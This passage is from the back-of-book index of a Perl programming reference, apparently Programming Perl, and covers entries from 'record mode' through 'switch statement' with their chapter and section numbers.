record mode: 28.2. Special Variables in Alphabetical Order
records
functions dealing with: 29.1. Perl Functions by Category
input, separator for (see $/ variable)
output, separator for (see $\ variable)
of various data structures: 9.6. More Elaborate Records
composing, accessing, and printing: 9.6.1. Composition, Access, and Printing of More Elaborate Records
generating hash of: 9.6.3. Generation of a Hash of Complex Records
records, variable-length: 7. Formats
recursion of subroutines: 6.2.3. Scoping Issues
recursive lexical pad stacks: 18.3. Executing Your Code
recursive matching: 5.10.3.4. Match-time pattern interpolation
recursivity, locks: 17.2.2.1. Synchronizing access with lock
recv function: 29.2.125. recv
redo operator: 4.4.4. Loop Control
4.4.4. Loop Control
29.2.126. redo
redundancy in Perl: 1.5.6. Some Numeric and String Comparison Operators
ref function: 12.4. Object Construction
29.2.127. ref
ref operator: 8.3.6. Other Tricks You Can Do with Hard References
references: 1.2.1.1. Singularities
8. References
to anonymous data: 8.2.2. Anonymous Data
blessing: 12.4. Object Construction
braces, brackets and quoting in: 8.5. Braces, Brackets, and Quoting
casting to other pointer types: 2.6. Scalar Values
checking for: 29.2.127. ref
circular, in overloading: 13.3. Overloadable Operators
circular, and memory: 8.5.2. Garbage Collection, Circular References, and Weak References
creating: 8.2. Creating References
with backslash operator: 8.2.1. The Backslash Operator
to data structures: 8.1. What Is a Reference?
defining: 8.1. What Is a Reference?
destruction of, controlling: 19.2. Environment Variables
to filehandles: 8.2.4. Handle References
29.2.104. open
to functions, storing in data structures: 9.5. Hashes of Functions
hard: 3.2. The Arrow Operator
(see also hard references)
hash keys, providing as: 32.1.14. Convenient Classes
indirection: 8. References
locking: 17.2.2.1. Synchronizing access with lock
in multidimsional arrays: 9.1.1. Creating and Accessing a Two-Dimensional Array
object-oriented programming and: 10. Packages
for objects: 12.2. Perl's Object System
objects as: 12.4. Object Construction
passing: 6.3. Passing References
passing by: 6.2. Semantics
Perl, C pointers vs.: 3.21. C Operators Missing from Perl
references and: 2.5.1. Name Lookups
to signal handlers (user-defined): 16.1. Signals
stringifying: 8.3.6. Other Tricks You Can Do with Hard References
8.5.1. References Don't Work as Hash Keys
9.1.3. Access and Printing
9.1.5. Common Mistakes
to subroutines: 6.1. Syntax
retrieving from or passing to: 10.1. Symbol Tables
to symbol table entries: 10.1. Symbol Tables
in symbol tables to other symbol tables: 10.1. Symbol Tables
symbolic: 8.4. Symbolic References
to tied arrays: 14.2.1. Array-Tying Methods
to tied scalar variables: 14.1.1. Scalar-Tying Methods
to tied variable objects, breaking: 14.5. A Subtle Untying Trap
to hashes: 9.1.5. Common Mistakes
multidimensional hashes: 9.6. More Elaborate Records
truth value of: 1.6.1. What Is Truth?
weak: 8.5.2. Garbage Collection, Circular References, and Weak References
weakening or breaking: 12.6.1. Garbage Collection with DESTROY Methods
referents: 8.1. What Is a Reference?
objects as: 12.2. Perl's Object System
reftype function: 12.4. Object Construction
regex (see patterns)
regexes (see patterns)
regexps (see patterns)
registry (Microsoft Windows), manipulating: 14.6. Tie Modules on CPAN
32.1.20. Microsoft-Related Modules
regular expressions (see patterns)
character classes, confusing with array subscripts: 2.6.5. Interpolating Array Values
characters, matching instead of bytes: 15.2. Effects of Character Semantics
functions dealing with: 29.1. Perl Functions by Category
regular files, testing for: 1.5.7. Some File Test Operators
relational databases, hashes, tying to: 14.6. Tie Modules on CPAN
relational operators: 1.5.6. Some Numeric and String Comparison Operators
3.11. Relational Operators
nonassociation of: 3.11. Relational Operators
removing (see deleting)
rename function: 29.2.128. rename
repetition (x) operator: 1.5.2. String Operators
1.5.2. String Operators
3.7. Multiplicative Operators
replacement, matched substrings (see s/// (substitution) operator)
replacement strings, /e modifier, building with: 5.10.3.2. Substitution evaluations
replacing array elements: 29.2.160. splice
reports, generating: 7. Formats
require: 4.7. Global Declarations
require declarations, tie function and: 14. Tied Variables
require function: 11.1. Using Modules
require operator: 4.7. Global Declarations
28.2. Special Variables in Alphabetical Order
29.2.129. require
REs (see patterns)
reserved words: 2.5. Names
barewords, possible conflict with: 2.6.4. Or Leave the Quotes Out Entirely
reset function: 29.2.130. reset
return function: 29.2.131. return
return operators: 4.4.4. Loop Control
return stack: 18.3. Executing Your Code
return value, currently executing subroutine, displaying in debugger: 20.2.1. Stepping and Running
return value, subroutine: 6.2. Semantics
reused addresses, displaying contents of: 20.3.3. Debugger Options
reusing code: 24.3. Programming with Style
reval method, running suspicious code with: 23.3.1.1. Restricting namespace access
reverse, disallowing as sort subroutine name: 24.1.5. Previous Perl Traps
reverse function: 1.8. List Processing
29.2.132. reverse
reversing print and printf statements (tied filehandles): 14.4. Tying Filehandles
revision (see version)
rewinddir function: 29.2.133. rewinddir
right justification: 7.1. Format Variables
right-shift (>>) operator: 3.9. Shift Operators
rindex function: 29.2.134. rindex
rmdir function: 29.2.135. rmdir
root directory, redefining: 29.2.15. chroot
rot13 encryption: 5.2.4. The tr/// Operator (Transliteration)
routines (see subroutines)
RS (awk variable) (see $INPUT_RECORD_SEPARATOR)
RSTART (awk variable): 28.2. Special Variables in Alphabetical Order
RTF, Perl modules for: 22.1. The CPAN modules Directory
run phase: 18.1. The Life Cycle of a Perl Program
run phase vs. run time: 18.2. Compiling Your Code
running (see executing)
RV (internal reference value): 21.2. Internal Data Types
rvalue: 2.3. Built-in Data Types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S

-S file test operator: 3.10. Named Unary and File Test Operators
s for whitespace=\s (for whitespace): 1.7. Regular Expressions
s operator (see substitution operator)
/s pattern modifier: 5.2.1. Pattern Modifiers
5.2.2. The m// Operator (Matching)
5.2.3. The s/// Operator (Substitution)
5.2.4. The tr/// Operator (Transliteration)
-S (search for script) command-line switch: 19.1.3. Switches
s// (substitution) operator: 24.1.1. Universal Blunders
-s (switch) command-line switch: 19.1.3. Switches
20. The Perl Debugger
safe compartments for insecure code: 23.3.1. Safe Compartments
Safe module: 23.3.1. Safe Compartments
32.1.12. Authentication, Security, and Encryption
insecure code, handling with: 23.3.1.2. Restricting operator access
23.3.1. Safe Compartments
save stack: 18.3. Executing Your Code
saving data structures: 9.7. Saving Data Structures
scalar context: 2.7.1. Scalar and List Context
Boolean values and: 2.7.2. Boolean Context
comma operator in: 3.18. Comma Operators
24.1.5. Previous Perl Traps
conditional operator in: 3.16. Conditional Operator
expressions in (see EXPRs)
forcing: 29.2.137. scalar
functions in: 29. Functions
/g pattern modifier, use in: 5.2.2. The m// Operator (Matching)
hash variables, evaluating in: 2.9. Hashes
keys function, calling in: 14.3.1. Hash-Tying Methods
list assignment in: 2.8.1. List Assignment
3.17. Assignment Operators
lvalues in: 4.8.1. Scoped Variable Declarations
m// (match) operator in: 5.2.2. The m// Operator (Matching)
operations behaving differently in: 24.1.2. Frequently Ignored Advice
range (..) operator in: 3.15. Range Operator
recognizing in debugger: 20.1. Using the Debugger
subroutines, calling and evaluating in: 6.2. Semantics
subtypes of: 2.7.1. Scalar and List Context
void context: 2.7.3. Void Context
scalar pseudofunction: 29.2.137. scalar
scalar reverse function: 15.2. Effects of Character Semantics
scalar values: 2.6. Scalar Values
2.6. Scalar Values
here documents: 2.6.6. "Here" Documents
interpolating array values: 2.6.5. Interpolating Array Values
numeric literals: 2.6.1. Numeric Literals
operators fo: 3. Unary and Binary Operators
string literals: 2.6.2. String Literals
v-string literals: 2.6.7. V-String Literals
scalar variables
in angle brackets: 2.11.2. Line Input (Angle) Operator
in double-quote context: 5.2.3. The s/// Operator (Substitution)
scalars: 1.2.1. Variable Syntax
1.2.1.1. Singularities
2.3. Built-in Data Types
2.4. Variables
characters, length of: 29.2.84. length
complex data structures, representing as: 1.2.1.3. Complexities
constants: 10.1. Symbol Tables
10.1. Symbol Tables
(see also constants)
functions for manipulating: 29.1. Perl Functions by Category
hard references as: 8.1. What Is a Reference?
list of (see arrays)
lists, converting to: 1.2.1.3. Complexities
parameter and return lists, subroutines: 6.2. Semantics
pattern-matching operators, applying to: 5.2. Pattern-Matching Operators
Perl, converting to C types: 21.4.4. Evaluating a Perl Statement from C
references: 1.2.1.1. Singularities
SV (scalar value) in C: 21.2. Internal Data Types
truth, evaluating in: 1.6.1. What Is Truth?
tying: 14.1. Tying Scalars
base class definitions, providing: 32.1.14. Convenient Classes
magical counter variables: 14.1.2. Magical Counter Variables
methods for: 14.1.1. Scalar-Tying Methods
preventing unlocalized use of $_ variables: 14.1.3. Magically Banishing $_
unordered set of (see hashes)
scheduling and preemption policies, threads: 17.2. The Thread Model
scopes: 2.5. Names
4.2. Compound Statements
dynamic: 4.8.4. Dynamically Scoped Variables: local
block: 4.8.2. Lexically Scoped Variables: my
blocks: 4.2. Compound Statements
file: 4.8.2. Lexically Scoped Variables: my
lexical scope: 4.8.2. Lexically Scoped Variables: my
loop variable in foreach: 4.4.3. foreach Loops
variables in if statements: 4.3. if and unless Statements
variables in three-part for loops: 4.4.2. for Loops
variables in while loops: 4.4.1. while and until Statements
declarations and: 4.8. Scoped Declarations
functions dealing with: 29.1. Perl Functions by Category
lexically scoped variables: 2.5. Names
my variables: 10. Packages
package declarations: 10. Packages
pattern-matching operations: 5.2. Pattern-Matching Operators
private variables (see lexical variables)
scope modifiers: 4.8.1. Scoped Variable Declarations
scope operators: 4.8.1. Scoped Variable Declarations
scope stack: 18.3. Executing Your Code
signal handling: 16.1. Signals
static (see scopes; lexical)
subroutines: 6.2.3. Scoping Issues
in threads: 17.2.3.1. Queues
variables: 1.2.1. Variable Syntax
strict pragma and: 1.2.1.4. Simplicities
screen appearance of command line: 20.3.3. Debugger Options
scripts
building with -e switch: 19.1.3. Switches
CGI, taint mode and: 23.1. Handling Insecure Data
checking syntax of: 19.1.3. Switches
debugging: 19.1.3. Switches
19.1.3. Switches
(see also debugging)
dumping core files: 19.1.3. Switches
embedding in messages: 19.1.3. Switches
end marker for: 2.6.8. Other Literal Tokens
executing: 29.2.174. system
insecure: 23.3. Handling Insecure Code
interpretation, shells vs. Perl: 24.1.4. Shell Traps
languages, checking for: 5.4.3.3. Unicode block properties
names of (see $0 variable)
pausing: 29.2.156. sleep
Perl
common mistakes of novices: 24.1. Common Goofs for Novices
CPAN directory of: 22. CPAN
idiomatic Perl, using: 24.4. Fluent Perl
performance of: 24.2. Efficiency
perl interpreter, associating with: 1.3.1. How to Do It
programming with style: 24.3. Programming with Style
searching for and compiling: 19.1. Command Processing
test scripts: 32.1.18. Development Support
running time of: 3.10. Named Unary and File Test Operators
searching for: 19.1.3. Switches
terminating with exec: 29.2.33. exec
SDBM_File module: 32.1.10. DBM Interfaces
search and replace, global: 5.2.3. The s/// Operator (Substitution)
search path, %INC: 28.2. Special Variables in Alphabetical Order
search programs: 1.7. Regular Expressions
Search::Dict module: 32.1.2. String Processing, Language Text Processing, Parsing, and Searching
searching
grep function for: 29.2.72. grep
linear, versus hashes: 24.2.1. Time Efficiency
rules for name searches: 2.5.1. Name Lookups
for scripts: 19.1.3. Switches
for substrings: 5.2.3. The s/// Operator (Substitution)
29.2.75. index
29.2.134. rindex
text, Perl modules for: 22.1. The CPAN modules Directory
security: 0.1. The Pursuit of Happiness
23. Security
29.2.164. srand
code masquerading as data: 23.3.2. Code Masquerading as Data
insecure code, handling: 23.3. Handling Insecure Code
safe compartments for: 23.3.1. Safe Compartments
insecure data, handling: 23.1. Handling Insecure Data
23.1. Handling Insecure Data
command and file access under reduced privileges: 23.1.3. Accessing Commands and Files Under Reduced Privileges
detecting and laundering tainted data: 23.1.1. Detecting and Laundering Tainted Data
environment, cleaning up: 23.1.2. Cleaning Up Your Environment
modules for: 32.1.12. Authentication, Security, and Encryption
22.1. The CPAN modules Directory
timing glitches, handling: 23.2. Handling Timing Glitches
race conditions: 23.2.2. Handling Race Conditions
temporary files: 23.2.3. Temporary Files
Unix kernel security bugs: 23.2.1. Unix Kernel Security Bugs
Win32::FileSecurity module: 32.1.20. Microsoft-Related Modules
security, of file test operators: 31.10. use filetest
sed: 1.7. Regular Expressions
5.2.4. The tr/// Operator (Transliteration)
seed, random number: 29.2.164. srand
seek function: 29.2.138. seek
29.2.176. tell
(see also tell function)
SEEK method: 14.4.1. Filehandle-Tying Methods
seekable I/O objects: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
seekdir function: 29.2.139. seekdir
select function: 29.2.38. fileno
29.2.113. print
29.2.140. select (output filehandle)
29.2.141. select (ready file descriptors)
32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
for format variables: 7.1. Format Variables
7.1. Format Variables
select syscall, multiplexing I/O between clients: 16.5.2. Networking Servers
SelectSaver module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
self-matching characters: 5.9.4. The Little Engine That /Could(n't)?/
self method, thread accessing own thread object: 17.2.1.5. Identifying threads
SelfLoader module: 10.2. Autoloading
32.1.17. Module Installation Support
Devel::SelfStubber module, using with: 32.1.17. Module Installation Support
semantics: 29.2.192. use
semaphore file, use in file locking: 16.2.1. File Locking
System V IPC: 16.4. System V IPC
functions for: 29.2.142. semctl
IPC::Semaphore module: 32.1.8. Networking and Interprocess Communication
shared memory: 16.4. System V IPC
thread safety and: 17.2. The Thread Model
Thread::Semaphore module: 17.2.3.2. Semaphores
Win32::Semaphore module: 32.1.20. Microsoft-Related Modules
semctl function: 29.2.142. semctl
semget function: 29.2.143. semget
semop function: 29.2.144. semop
send function: 29.2.145. send
separators, split operator, defining: 1.7. Regular Expressions
sequential matches: 5.9.4. The Little Engine That /Could(n't)?/
serial ports, Perl modules for: 22.1. The CPAN modules Directory
serializing Perl data structures: 32.1.13. Perl Language Extensions and Internals
server-push CGI scripting: 32.1.9. World Wide Web
servers
forking clones to handle incoming connections: 16.5.2. Networking Servers
networking: 16.5.2. Networking Servers
Perl modules for: 22.1. The CPAN modules Directory
taint mode, importance of enabling for: 23.1. Handling Insecure Data
TCP: 16.5.1. Networking Clients
service port name/number translations: 29.2.64. getservbyname
set-id program:
23.1. Handling Insecure Data
dangerous operations, UID and GID setting to real: 23.1.3. Accessing Commands and Files Under Reduced Privileges
Unix kernel bugs, security problems with: 23.2.1. Unix Kernel Security Bugs
setgid function: 16.3.2. Talking to Yourself
23.1. Handling Insecure Data
setgrent function: 29.2.44. getgrent
sethostent function: 29.2.49. gethostent
setpgrp function: 29.2.146. setpgrp
16.1.1. Signaling Process Groups
setpriority function: 29.2.147. setpriority
setprotoent function: 29.2.60. getprotoent
setpwent function: 29.2.61. getpwent
sets, intersection: 6.3. Passing References
setservent function: 29.2.66. getservent
setsockopt function: 29.2.148. setsockopt
setuid function: 16.3.2. Talking to Yourself
23.1. Handling Insecure Data
shadow, password entries: 29.2.62. getpwnam
shared file locks: 16.2.1. File Locking
shared memory, System V IPC: 16.4. System V IPC
controlled access to: 16.4. System V IPC
functions for: 29.2.150. shmctl
# (sharp)
for comments: 2.2. Molecules
/x pattern modifier, using with: 5.2.1. Pattern Modifiers
in formats: 7. Formats
quoting character, whitespace and: 2.6.3. Pick Your Own Quotes
#! (shebang) notation: 1.3.1. How to Do It
19.1. Command Processing
security problems caused by: 23.2.1. Unix Kernel Security Bugs
simulating on non-Unix systems: 19.1.1. #! and Quoting on Non-Unix Systems
shell module: 32.1.7. Operating System Interfaces
alternative for Perl, Windows systems: 19.2. Environment Variables
avoiding use of: 23.1.3. Accessing Commands and Files Under Reduced Privileges
avoiding with multi-argument piped open: 16.3.1. Anonymous Pipes
Bourne shell (sh): 19.1. Command Processing
bypassing with -| piping pseudocommand: 16.3.2. Talking to Yourself
debugger commands and: 20.2.6. Actions and Command Execution
environment variables as security hazards: 23.1.2. Cleaning Up Your Environment
environment variables, using with: 19.2. Environment Variables
I/O streams, setting up: 1.4. Filehandles
pipe commands with shell metacharacters, passing to: 29.2.104. open
pipe commands with special characters, handling: 16.3.1. Anonymous Pipes
programming, Perl vs.: 24.1.4. Shell Traps
quotes, passing through: 19.1.3. Switches
security pitfalls with use, avoiding: 23.3.2. Code Masquerading as Data
spawning, characters for: 20.3.3. Debugger Options
shift function: 9. Data Structures
29.2.149. shift
shift operator: 1.6.2.1. The while and until statements
3.9. Shift Operators
3.9. Shift Operators
shmctl function: 29.2.150. shmctl
ShMem package: 16.4. System V IPC
shmget function: 29.2.151. shmget
shmread function: 29.2.152. shmread
shmwrite function: 29.2.153. shmwrite
short-circuit operators: 1.5.5. Logical Operators
3.14. C-Style Logical (Short-Circuit) Operators
overloading and: 13.3. Overloadable Operators
shortening arrays: 2.8.2. Array Length
shorts: 29.2.162. sprintf
shutdown function: 29.2.154. shutdown
shutdown syscall: 16.5.1. Networking Clients
%SIG hash: 16.1. Signals
28.2. Special Variables in Alphabetical Order
sigaction function: 16.1.2. Reaping Zombies
SIGALRM signal: 29.2.3. alarm
signal handlers
defining as strings: 10. Packages
%SIG, Perl vs. C language: 24.1.3. C Traps
signal handling, sigtrap module: 32.1.7. Operating System Interfaces
signal level option (debugger): 20.3.3. Debugger Options
signals: 16. Interprocess Communication
16.1. Signals
%SIG hash: 28.2. Special Variables in Alphabetical Order
blocking: 16.1.4. Blocking Signals
core dumps, triggering in C library: 16.1. Signals
killing processes with: 29.2.80. kill
portability of: 25.4. System Interaction
signaling process groups: 16.1.1. Signaling Process Groups
sources of: 16.1. Signals
threads, delivering to: 17.2. The Thread Model
Thread::Signal module: 17.2.3.3. Other standard threading modules
timing out slow operations: 16.1.3. Timing Out Slow Operations
trapping with sigtrap pragma: 16.1. Signals
zombie processes, reaping: 16.1.2. Reaping Zombies
sigprocmask syscall: 16.1.4. Blocking Signals
sigtrap pragma: 16.1. Signals
16.1. Signals
sin function (sine): 29.2.155. sin
single inheritance: 12.5. Class Inheritance
single quotes (')
contractions in words, avoiding confusion with: 5.10.1. Lookaround Assertions
as package delimiters: 10. Packages
pattern recompilation and: 5.2.1. Pattern Modifiers
suppressing interpolation: 1.2.1.1. Singularities
suppressing variable interpolation and translation escape processing: 5.9.2.1. When backslashes happen
singularities (see singularities)
$size file statistic: 29.2.165. stat
sleep function: 29.2.156. sleep
select function instead of: 29.2.141. select (ready file descriptors)
slices of arrays or hashes: 2.4. Variables
slices of multidimensional arrays: 9.1.4. Slices
Perl, setting value for: 19.1.3. Switches
Socket module: 16.5. Sockets
32.1.8. Networking and Interprocess Communication
inet_ntoa function: 29.2.47. gethostbyaddr
networking client, connecting to server: 16.5.1. Networking Clients
socketpair function: 29.2.158. socketpair
socketpair syscall: 16.3.3. Bidirectional Communication
sockets
accepting connections from clients: 29.2.2. accept
attaching address to: 29.2.5. bind
closing: 29.2.16. close
closing one side: 29.2.154. shutdown
connecting: 29.2.18. connect
functions for: 29.2.67. getsockname
functions (Perl), dealing with: 16.5. Sockets
getting packed sockaddr address: 29.2.54. getpeername
in interprocess communication: 16.5. Sockets
message passing: 16.5.3. Message Passing
networking clients: 16.5.1. Networking Clients
networking servers: 16.5.2. Networking Servers
listen function for: 29.2.86. listen
low-level access, functions for: 29.1. Perl Functions by Category
modules for: 32.1.8. Networking and Interprocess Communication
newlines, sending across: 25.1. Newlines
opening with socket function: 29.2.157. socket
protocols and: 16. Interprocess Communication
receiving messages on: 29.2.125. recv
sending messages on: 29.2.145. send
setting options: 29.2.148. setsockopt
shutting down connection: 29.2.154. shutdown
TCP and: 16.5. Sockets
Unix-domain sockets: 16.5. Sockets
sort variables: 28.2. Special Variables in Alphabetical Order
sort function: 1.8. List Processing
sort subroutines, comparison operators in: 1.5.6. Some Numeric and String Comparison Operators
sorting
arrays in hashes of: 9.2.3. Access and Printing of a Hash of Arrays
hashes: 9.4.3. Access and Printing of a Hash of Hashes
keys and values, hashes: 29.2.79. keys
lists: 29.2.159. sort
overloading and: 13.3. Overloadable Operators
sort function: 29.2.159. sort
sort( ), keys, lists of: 1.2.1.2.2. Hashes.
source code
CPAN, for Perl distribution: 22. CPAN
development tools for: 18.6. Code Development Tools
filter for: 18.5.1. The Bytecode Generator
filters for: 24.5.3. Source Filters
foreign code, executing: 23. Security
window around breakpoint, examining: 20.1. Using the Debugger
source filters: 22.1. The CPAN modules Directory
space: 2.2. Molecules
spaceship operator (<=>): 3.12. Equality Operators
special characters: 5.9.4. The Little Engine That /Could(n't)?/
special variables: 28.1.6. Per-Package Special Functions
speed (see also performance)
24.2. Efficiency
splice function: 29.2.160. splice
Perl versions, changes in: 24.1.5. Previous Perl Traps
splicing tied arrays: 14.2.1. Array-Tying Methods
split function: 1.7. Regular Expressions
5.2. Pattern-Matching Operators
5.7.2. Clustering
24.2.1. Time Efficiency
29.2.161. split
sprintf function: 14.4.1. Filehandle-Tying Methods
29.2.162. sprintf
sqrt function (square root): 29.2.163. sqrt
srand function: 29.2.164. srand
src directory (CPAN): 22. CPAN
stacks: 1.2.1.2.1. Arrays.
9. Data Structures
expression evaluation: 2.3. Built-in Data Types
backtracing with T command: 20.1. Using the Debugger
disciplines: 29.2.104. open
Perl, manipulating from C: 21.4.5. Fiddling with the Perl Stack from C
Perl virtuall machine: 18.3. Executing Your Code
subroutines, current calls: 29.2.8. caller
standard input, scripts, passing by: 19.1. Command Processing
standard Unicode properties: 5.4.3.2. Standard Unicode properties
star (see asterisk)
starting position of matched string: 28.2. Special Variables in Alphabetical Order
stat, file permissions as octal: 29.2.103. oct
stat function: 29.2.165. stat
32.1.4. Filenames, Filesystems, and File Locking
filehandles, calling on: 23.2.2. Handling Race Conditions
state
common, sharing by class objects: 12.8. Managing Class Data
inheritance with class data accessor methods: 12.8. Managing Class Data
statements: 4. Statements and Declarations
compound: 4.2. Compound Statements
global declarations and: 4.7. Global Declarations
if and unless: 4.3. if and unless Statements
labels for (see labels)
loop-control operators vs.: 4.4.4. Loop Control
loops (see loops)
Perl, evaluating from C: 21.4.4. Evaluating a Perl Statement from C
simple: 4.1. Simple Statements
static linking: 21.3.1. XS and XSUBs
static scoping (see lexical scope)
static variables: 6.2.3. Scoping Issues
statistics, Perl modules for: 22.1. The CPAN modules Directory
status of exiting process: 28.2. Special Variables in Alphabetical Order
STDERR filehandle: 24.3. Programming with Style
28.2. Special Variables in Alphabetical Order
29.2.38. fileno
STDIN filehandle: 28.2. Special Variables in Alphabetical Order
STDIN: 1.4. Filehandles
29.2.38. fileno
reading single characters from: 29.2.43. getc
STDIN, STDOUT, and STDERR filehandles: 16.2.2. Passing Filehandles
passing filehandles to new programs through: 16.2.2. Passing Filehandles
reassigning to client connection: 16.5.2. Networking Servers
STDOUT filehandle: 28.2. Special Variables in Alphabetical Order
STDOUT: 1.4. Filehandles
29.2.38. fileno
printing to: 29.2.113. print
stemming text, Perl modules for: 22.1. The CPAN modules Directory
stepping through code: 20.2.1. Stepping and Running
sticky bit: 24.2.1. Time Efficiency
stopping (see terminating)
infinite loop: 4.4.2. for Loops
storage locations
for bytes (see big endian; little endian)
lvalues for: 1.5.3. Assignment Operators
(see also lvalues)
storing complex data values in DBM file: 14.6. Tie Modules on CPAN
strict module: 1.2.1.4. Simplicities
32.1.13. Perl Language Extensions and Internals
strict pragma: 2.5.1. Name Lookups
4.9.2. Controlling the Use of Globals
8.4. Symbolic References
string context: 2.7.1. Scalar and List Context
string literals: 2.6.2. String Literals
newlines in: 2.6.2. String Literals
v-strings (vector or version): 2.6.7. V-String Literals
stringification: 13.3. Overloadable Operators
modules for: 32.10. Data::Dumper
stringifying
data structures: 9.7. Saving Data Structures
objects: 8.3.6. Other Tricks You Can Do with Hard References
references: 8.3.6. Other Tricks You Can Do with Hard References
8.5.1. References Don't Work as Hash Keys
9.1.3. Access and Printing
9.1.5. Common Mistakes
stringifying operator
overloading: 14.4.1. Filehandle-Tying Methods
strings: 1.2.1. Variable Syntax
binary (see binary numbers)
bitwise operators, working with: 3.13. Bitwise Operators
boundary assertions: 1.7.3. Nailing Things Down
5.6.1. Beginnings: The \A and ^ Assertions
capitalization of (see capitalization)
comparing: 3.11. Relational Operators
comparison operators: 1.5.6. Some Numeric and String Comparison Operators
as compilation units: 2.5.1. Name Lookups
concatenating: 3.8. Additive Operators
24.2.1. Time Efficiency
containing newlines, matches against: 5.2.1. Pattern Modifiers
converting to list values: 29.2.189. unpack
converting to numbers:of: 2.6.1. Numeric Literals
display, changing in debugger: 20.3.3. Debugger Options
double-quoted
changes in Perl versions: 24.1.5. Previous Perl Traps
character interpolation in: 2.6.2. String Literals
eval function and: 24.2.1. Time Efficiency
extracting substrings: 29.2.168. substr
first character of: 28.2. Special Variables in Alphabetical Order
formats for: 29.2.162. sprintf
hexadecimal (see hexadecimal numbers)
index function: 29.2.75. index
joining: 29.2.78. join
list values, converting to: 29.2.108. pack
modifying: 5.2.3.1. Modifying strings en passant
numbers, converting to: 2.6. Scalar Values
octal (see octal numbers)
operators: 1.5.2. String Operators
24.1.1. Universal Blunders
printing: 29.2.113. print
printing values in: 8.3.6. Other Tricks You Can Do with Hard References
quoted: 1.2.1.1. Singularities
range operator, working with: 3.15. Range Operator
references and: 8.5.1. References Don't Work as Hash Keys
rindex function: 29.2.134. rindex
searching for and replacing substrings (s/// operator): 5.2.3. The s/// Operator (Substitution)
splitting into substrings: 29.2.161. split
study function and: 29.2.166. study
truth values of: 1.6.1. What Is Truth?
vec function and: 29.2.195. vec
stripping (see deleting characters)
Struct::Class module: 12.7. Managing Instance Data
structs
emulating: 12.7.2. Generating Classes with Class::Struct
formatting: 29.2.108. pack
structural metacharacters in regular expressions: 5.1. The Regular Expression Bestiary
structural metasymbols: 5.3.1. Metasymbol Tables
StrVal (overload::StrVal): 13.7. Public Overload Functions
stubs for modules, generating: 32.1.17. Module Installation Support
study function: 29.2.166. study
style, programming with: 24.3. Programming with Style
sub {}: 4.5. Bare Blocks
sub declaration: 8.2.2.3. The anonymous subroutine composer
29.2.167. sub
sub keyword: 6.1. Syntax
6.4. Prototypes
subarrays and subhashes, references to, in arrays: 1.2.1.2.1. Arrays.
subclasses: 12.1. Brief Refresher on Object-Oriented Lingo
attributes, overriding superclass ancestors: 12.7. Managing Instance Data
subnamespaces, for variables: 2.5. Names
subroutine call stack: 29.2.8. caller
subroutine calls, executing without stepping through: 20.2.1. Stepping and Running
subroutines: 1.2.1. Variable Syntax
6. Subroutines
6. Subroutines
12.2. Perl's Object System
arguments: 28.2. Special Variables in Alphabetical Order
aborting with exit: 29.2.35. exit
anonymous references to: 8.2.2.3. The anonymous subroutine composer
atrributes, getting and setting: 32.1.13. Perl Language Extensions and Internals
autoloading: 10.2. Autoloading
12.5.4. Method Autoloading
32.1.17. Module Installation Support
barewords, confusing with: 24.1.5. Previous Perl Traps
B::Xref module, cross-references with C: 18.6. Code Development Tools
calling indirectly: 6.1. Syntax
calling, method invocations vs.: 12.4.1. Inheritable Constructors
classes with same names: 12.3.4. Package-Quoted Classes
constant: 10.1. Symbol Tables
data, passing into and out of: 6.2. Semantics
debugger command for pattern match listings: 20.2.5. Locating Code
declaring: 4.7. Global Declarations
29.2.167. sub
declaring in package for AUTOLOAD management: 12.5.4. Method Autoloading
defining: 6.2. Semantics
definitions, loading from other files: 4.7. Global Declarations
do SUBROUTINE operator: 29.2.28. do (subroutine)
errors, indicating: 6.2.2. Error Indications
external, portability of: 25.6. External Subroutines (XS)
external (XSUBs): 21.3. Extending Perl (Using C from Perl)
importing from another module: 6.1. Syntax
lexically scoped: 29.2.99. my
locking for threads: 17.2.2.3. Locking subroutines
locked attribute: 17.2.2.4. The locked attribute
lvalue attribute: 12.7.6. New Tricks
method resolution, steps for: 12.5. Class Inheritance
methods vs.: 12.3. Method Invocation
named, compiler/interpreter interaction: 18.7. Avant-Garde Compiler, Retro Interpreter
names for: 2.5. Names
2.5. Names
names of: 6.1. Syntax
nested: 8.3.7.2. Nested subroutines
parameter lists, working with: 6.2.1. Tricks with Parameter Lists
passing references in: 6.3. Passing References
performance and: 24.2.1. Time Efficiency
Perl, calling from C: 21.4.3. Calling a Perl Subroutine from C
prototyping, careful use of: 6.4.2. Care with Prototypes
redefining, inlining and: 6.4.1. Inlining Constant Functions
references to, retrieving from or passing to: 10.1. Symbol Tables
references to, in scalars: 1.2.1.1. Singularities
return function: 29.2.131. return
return values: 6.2. Semantics
returning references: 8.2.3. Object Constructors
scoping issues: 6.2.3. Scoping Issues
sorting, reverse disallowed as name for: 24.1.5. Previous Perl Traps
substituting with goto: 4.6. goto
29.2.71. goto
timelocal: 29.2.88. localtime
user-defined: 1.2.2. Verbs
subs module: 32.1.13. Perl Language Extensions and Internals
subs pragma, overriding built-in functions with: 11.3. Overriding Built-in Functions
$SUBSCRIPT_SEPARATOR: 2.9. Hashes
28.2. Special Variables in Alphabetical Order
subscripting: 24.2.1. Time Efficiency
negative: 2.3. Built-in Data Types
subscripts, arrays: 1.2.1.2.1. Arrays.
subshells, environment variables, using with: 19.2. Environment Variables
substitute (s//) operator: 24.1.1. Universal Blunders
5. Pattern Matching
2.7.4. Interpolative Context
5.2. Pattern-Matching Operators
substitution evaluations: 5.10.3.2. Substitution evaluations
substitution, shells versus Perl: 24.1.4. Shell Traps
substr function: 24.2.1. Time Efficiency
29.2.168. substr
chop function and: 29.2.12. chop
manipulating string positions with: 5.6. Positions
searching for and replacing with s/// operator: 5.2.3. The s/// Operator (Substitution)
subtracting, from character sets: 5.4.3.4. Defining your own character properties
subtracting pattern modifiers from cloisters: 5.7.3. Cloistered Pattern Modifiers
subtraction (see also additive operators)
overloaded objects: 13.2. Overload Handlers
SUPER pseudoclass: 12.5.2. Accessing Overridden Methods
12.5.2. Accessing Overridden Methods
superclasses: 12.1. Brief Refresher on Object-Oriented Lingo
SV (internal scalar value): 21.2. Internal Data Types
SWIG: 21.3.1. XS and XSUBs
SWIG system, XSUBs, automatically generating: 21.3.1. XS and XSUBs
switch statement: 4.5.1. Case Structures
24.2.1. Time Efficiency
